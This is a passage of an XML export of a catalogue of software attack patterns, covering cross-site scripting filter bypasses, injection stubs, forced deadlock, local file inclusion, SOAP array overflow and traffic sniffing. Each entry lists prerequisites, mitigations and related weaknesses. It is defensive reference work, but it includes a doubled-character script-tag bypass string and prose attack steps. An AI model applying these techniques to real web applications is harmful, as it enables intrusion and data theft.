						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>18<!--Embedding Scripts in Nonscript Elements-->
					</Relationship_Target_ID>
					<Relationship_Description>
						<Text>http://capec.mitre.org/data/definitions/18.html</Text>
					</Relationship_Description>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>220<!--Client-Server Protocol Manipulation -->
					</Relationship_Target_ID>
					<Relationship_Description>
						<Text>http://capec.mitre.org/data/definitions/220.html</Text>
					</Relationship_Description>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
					<Architectural_Paradigm>n-Tier</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Title>OWASP Testing Guide Cross-Site Scripting</Reference_Title>
					<Reference_Publication>OWASP</Reference_Publication>
					<Reference_Link>http://www.owasp.org/index.php/Testing_for_Cross_site_scripting</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Title>Google Cross-Site Scripting HOWTO article</Reference_Title>
					<Reference_Publisher>Google</Reference_Publisher>
					<Reference_Link>http://code.google.com/p/doctype/wiki/ArticleXSSInUrlAttributes</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Title>XSS Cheat Sheet</Reference_Title>
					<Reference_Link>http://ha.ckers.org/xss.html</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Title>WASC Threat Classification Cross-Site
						Scripting</Reference_Title>
					<Reference_Link>http://projects.webappsec.org/Cross-Site+Scripting</Reference_Link>
				</Reference>
			</References>
			<Content_History>
				<Modifications>
					<Modification>
						<Modifier>Romain Gaucher</Modifier>
						<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
						<Modification_Comment>Review - 0.2</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="245"
			Name="Cross-Site Scripting Using Doubled Characters, e.g. %3C%3Cscript"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>The attacker bypasses input validation by using doubled characters in
						order to perform a cross-site scripting attack. Some filters fail to
						recognize dangerous sequences if they are preceded by repeated characters.
						For example, by doubling the &lt; before a script command, (&lt;&lt;script
						or %3C%3script using URI encoding) the filters of some web applications may
						fail to recognize the presence of a script tag. If the targeted server is
						vulnerable to this type of bypass, the attacker can create a crafted URL or
						other trap to cause a victim to view a page on the targeted server where the
						malicious content is executed, as per a normal XSS attack.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The targeted web application does not fully normalize input before
						checking for prohibited syntax. In particular, it must fail to recognize
						prohibited methods preceded by certain sequences of repeated
						characters.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>The attacker must trick the victim into following a crafted link to a
					vulnerable server or view a web post where the dangerous commands are
					executed.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Use libraries and templates that minimize unfiltered input.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Normalize, filter and sanitize all user supplied
						fields.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: The victim should configure the browser to minimize active
						content from untrusted sources.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>79<!--Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>85<!--Doubled Character XSS Manipulations--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Vulnerabilities>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2008-2070</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>The WHM interface 11.15.0 for cPanel 11.18 before 11.18.4 and 11.22
							before 11.22.3 allows remote attackers to bypass XSS protection and
							inject arbitrary script or HTML via repeated, improperly-ordered "&lt;"
							and "&gt;" characters in the (1) issue parameter to
							scripts2/knowlegebase, (2) user parameter to scripts2/changeip, (3)
							search parameter to scripts2/listaccts, and other unspecified vectors.
						</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
			</Related_Vulnerabilities>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>18<!--Embedding Scripts in Nonscript Elements--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Link>//www.securityfocus.com/archive/1/archive/1/491864/100/0/threaded</Reference_Link>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="246" Name="Cross-Site Scripting Using Flash" Pattern_Completeness="Hook"
			Status="Draft">
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>79<!--Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')--></CWE_ID>
					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>18<!--Embedding Scripts in Nonscript Elements--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>182<!--Flash Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="247"
			Name="Cross-Site Scripting with Masking through Invalid Characters in Identifiers"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>The attacker inserts invalid characters in identifiers to bypass
						application filtering of input. Filters may not scan beyond invalid
						characters but during later stages of processing content that follows these
						invalid characters may still be processed. This allows the attacker to sneak
						prohibited commands past filters and perform normally prohibited operations.
						Invalid characters may include null, carriage return, line feed or tab in an
						identifier. Successful bypassing of the filter can result in a XSS attack,
						resulting in the disclosure of web cookies or possibly other results.
					</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target must fail to remove invalid characters from input and fail to
						adequately scan beyond these characters.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>No special resources are required. </Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Design: Use libraries and templates that minimize unfiltered input.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: Normalize, filter and white list any input that will be
						included in any subsequent web pages or back end operations.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Implementation: The victim should configure the browser to minimize active
						content from untrusted sources.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>79<!--Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>86<!--Improper Neutralization of Invalid Characters in Identifiers in Web Pages--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>18<!--Embedding Scripts in Nonscript Elements--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="248" Name="Command Injection" Pattern_Abstraction="Meta"
			Pattern_Completeness="Hook" Status="Draft">
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>152<!--Injection (Injecting Control Plane content through the Data Plane)--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="249" Name="Character Injection" Pattern_Abstraction="Meta"
			Pattern_Completeness="Hook" Status="Draft">
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>152<!--Injection (Injecting Control Plane content through the Data Plane)--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="25" Name="Forced Deadlock" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>This attack attempts to trigger and exploit a deadlock condition in the
						target software to cause a denial of service. A deadlock can occur when two
						or more competing actions are waiting for each other to finish, and thus
						neither ever does. Deadlock condition are not easy to detect.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker initiates an exploratory phase to get
												familiar with the system.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>The attacker triggers a first action (such as
												holding a resource) and initiates a second action
												which will wait for the first one to finish.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="3">
									<Custom_Attack_Step>
										<Attack_Step_Description>
											<Text>If the target program has a deadlock condition,
												the program waits indefinitevely resulting in a
												denial of service.</Text>
										</Attack_Step_Description>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target host has a deadlock condition. There are four conditions for a
						deadlock to occur, known as the Coffman conditions (See reference,
						Wikipedia)</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The target host exposes an API to the user.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Low</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Analysis</Method_of_Attack>
				<Method_of_Attack>API Abuse</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>An example of a deadlock which may occur in database products is the
							following. Client applications using the database may require exclusive
							access to a table, and in order to gain exclusive access they ask for a
							lock. If one client application holds a lock on a table and attempts to
							obtain the lock on a second table that is already held by a second
							client application, this may lead to deadlock if the second application
							then attempts to obtain the lock that is held by the first application
							(Source: Wikipedia, http://en.wikipedia.org/wiki/Deadlock)</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>This type of attack may be sophisticated and require knowledge about
							the system's resources and APIs.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required/>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>The attacker can probe by trying to hold resources and call APIs which
							are directly using the same resources.</Text>
					</Description>
				</Probing_Technique>
				<Probing_Technique>
					<Description>
						<Text>The attacker may try to find actions (threads, processes) competing
							for the same resources.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Use known algorithm to avoid deadlock condition (for instance non-blocking
						synchronization algorithms).</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>For competing actions use well known libraries which implement
						synchronization.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text/>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<!--Denial of Service-->
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: resource consumption
						(other)</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>412<!--Unrestricted Externally Accessible Lock--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>567<!--Unsynchronized Access to Shared Data in a Multithreaded Context--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>662<!--Improper Synchronization--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>172<!--Time and State Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>Low</Confidentiality_Impact>
				<Integrity_Impact>Low</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>All</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<References>
				<Reference>
					<Reference_Author>G. Hoglund</Reference_Author>
					<Reference_Author>G. McGraw</Reference_Author>
					<Reference_Title>Exploiting Software: How to Break Code</Reference_Title>
					<Reference_Publisher>Addison-Wesley</Reference_Publisher>
					<Reference_PubDate>February 2004</Reference_PubDate>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>CWE - Unrestricted Critical Resource Lock</Text>
					</Reference_Description>
				</Reference>
				<Reference>
					<Reference_Description>
						<Text>Deadlock, http://en.wikipedia.org/wiki/Deadlock</Text>
					</Reference_Description>
				</Reference>
			</References>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Eric Dalci</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2007-01-25</Submission_Date>
						<Submission_Comment/>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-03-07</Modification_Date>
						<Modification_Comment>Review and revise</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Richard Struse</Modifier>
						<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
						<Modification_Date>2007-03-26</Modification_Date>
						<Modification_Comment>Review and feedback leading to changes in Likelihood
							and other general areas</Modification_Comment>
					</Modification>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital, Inc</Modifier_Organization>
						<Modification_Date>2007-04-13</Modification_Date>
						<Modification_Comment>Modified pattern content according to review and
							feedback</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="250" Name="XML Injection" Pattern_Abstraction="Meta"
			Pattern_Completeness="Hook" Status="Draft">
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>152<!--Injection (Injecting Control Plane content through the Data Plane)--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>356<!--WASC Threat Classification 2.0 - WASC-23 - XML Injection--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="251" Name="Local Code Inclusion" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>The attacker forces an application to load arbitrary code files from the
						local machine. The attacker could use this to try to load old versions of
						library files that have known vulnerabilities, to load files that the
						attacker placed on the local machine during a prior attack, or to otherwise
						change the functionality of the targeted application in unexpected ways.
					</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The targeted application must have a bug that allows an attacker to
						control which code file is loaded at some juncture. </Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>Some variants of this attack may require that old versions of some code
						files be present and in predictable locations. </Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>The attacker needs to have enough access to the target application to control
					the identity of a locally included file. The attacker may also need to be able
					to upload arbitrary code files to the target machine, although any location for
					these files may be acceptable. </Text>
			</Resources_Required>
			<Related_Vulnerabilities>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2009-0932</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>Directory traversal vulnerability in framework/Image/Image.php in
							Horde before 3.2.4 and 3.3.3 and Horde Groupware before 1.1.5 allows
							remote attackers to include and execute arbitrary local files via
							directory traversal sequences in the Horde_Image driver name.</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
			</Related_Vulnerabilities>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>175<!--Code Inclusion--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="252" Name="PHP Local File Inclusion" Pattern_Abstraction="Standard"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>The attacker loads and executes an arbitrary local PHP file on a target
						machine. The attacker could use this to try to load old versions of PHP
						files that have known vulnerabilities, to load PHP files that the attacker
						placed on the local machine during a prior attack, or to otherwise change
						the functionality of the targeted application in unexpected ways.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The targeted PHP application must have a bug that allows an attacker to
						control which code file is loaded at some juncture. </Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>Medium</Typical_Severity>
			<Resources_Required>
				<Text>The attacker needs to have enough access to the target application to control
					the identity of a locally included PHP file. </Text>
			</Resources_Required>
			<Related_Vulnerabilities>
				<Related_Vulnerability>
					<Vulnerability_ID>CVE-2009-0932</Vulnerability_ID>
					<Vulnerability_Description>
						<Text>Directory traversal vulnerability in framework/Image/Image.php in
							Horde before 3.2.4 and 3.3.3 and Horde Groupware before 1.1.5 allows
							remote attackers to include and execute arbitrary local files via
							directory traversal sequences in the Horde_Image driver name.</Text>
					</Vulnerability_Description>
				</Related_Vulnerability>
			</Related_Vulnerabilities>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>190<!--Reverse Engineer an Executable to Expose Assumed Hidden Functionality or Content--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="254" Name="DTD Injection in a SOAP Message"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Hook" Status="Draft">
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>152<!--Injection (Injecting Control Plane content through the Data Plane)--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>279<!--Soap Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="256" Name="SOAP Array Overflow" Pattern_Abstraction="Detailed"
			Pattern_Completeness="Stub" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker sends a SOAP request with an array whose actual length exceeds
						the length indicated in the request. When a data structure including a SOAP
						array is instantiated, the sender transmits the size of the array as an
						explicit parameter along with the data. If the server processing the
						transmission naively trusts the specified size, then an attacker can
						intentionally understate the size of the array, possibly resulting in a
						buffer overflow if the server attempts to read the entire data set into the
						memory it allocated for a smaller array. This, in turn, can lead to a server
						crash or even the execution of arbitrary code.</Text>
				</Summary>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The targeted SOAP server must trust that the array size as stated in
						messages it receives is correct, but read through the entire content of the
						message regardless of the stated size of the array. </Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Resources_Required>
				<Text>The attacker must be able to craft malformed SOAP messages, specifically,
					messages with arrays where the stated array size understates the actual size of
					the array in the message.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>If the server either verifies the correctness of the stated array size or
						if the server stops processing an array once the stated number of elements
						have been read, regardless of the actual array size, then this attack will
						fail. The former detects the malformed SOAP message while the latter ensures
						that the server does not attempt to load more data than was allocated
						for.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>100<!--Overflow Buffers--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>368<!--WASC Threat Classification 2.0 - WASC-35 - SOAP Array Abuse--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<References>
				<Reference>
					<Reference_Link>//www.xml.org/xml/news/archives/archive.11292006.shtml</Reference_Link>
				</Reference>
				<Reference>
					<Reference_Link>//www.w3.org/TR/2000/NOTE-SOAP-20000508/#_Toc478383522</Reference_Link>
				</Reference>
			</References>
		</Attack_Pattern>
		<Attack_Pattern ID="257" Name="Abuse of transaction data strutcture"
			Pattern_Completeness="Hook" Status="Draft">
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>123<!--Buffer Attacks--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>262<!--Resource Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="258"
			Name="Passively Sniffing and Capturing Application Code Bound for an Authorized Client During Dynamic Update"
			Pattern_Abstraction="Detailed" Pattern_Completeness="Hook" Status="Draft">
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>311<!--Missing Encryption of Sensitive Data--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>65<!--Passively Sniff and Capture Application Code Bound for Authorized Client--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
		</Attack_Pattern>
		<Attack_Pattern ID="259"
			Name="Passively Sniffing and Capturing Application Code Bound for an Authorized Client During Patching"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>Attackers can capture application code bound for an authorized client
						during patching and can use it, as-is or through reverse-engineering, to
						glean sensitive information or exploit the trust relationship between the
						client and server.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Set up a sniffer</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker sets up a sniffer in the path between
												the server and the client and watches the
												traffic.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>The attacker sets up a sniffer in the path
												between the server and the client.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-ClientServer</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The attacker successfully sets
												up a sniffer in the path between the server and
												client.</Outcome_Description>
											</Outcome>
											<Outcome ID="2" type="Failure">
												<Outcome_Description>The attacker could not set up a
												sniffer in the path between the server and
												client.</Outcome_Description>
											</Outcome>
										</Outcomes>
										<Security_Controls>
											<Security_Control ID="1" type="Detective">
												<Security_Control_Description>Check the network
												interface (e.g., ifconfig/ipconfig) to see whether
												the network adapter is running in promiscuous
												mode. </Security_Control_Description>
											</Security_Control>
											<Security_Control ID="2" type="Preventative">
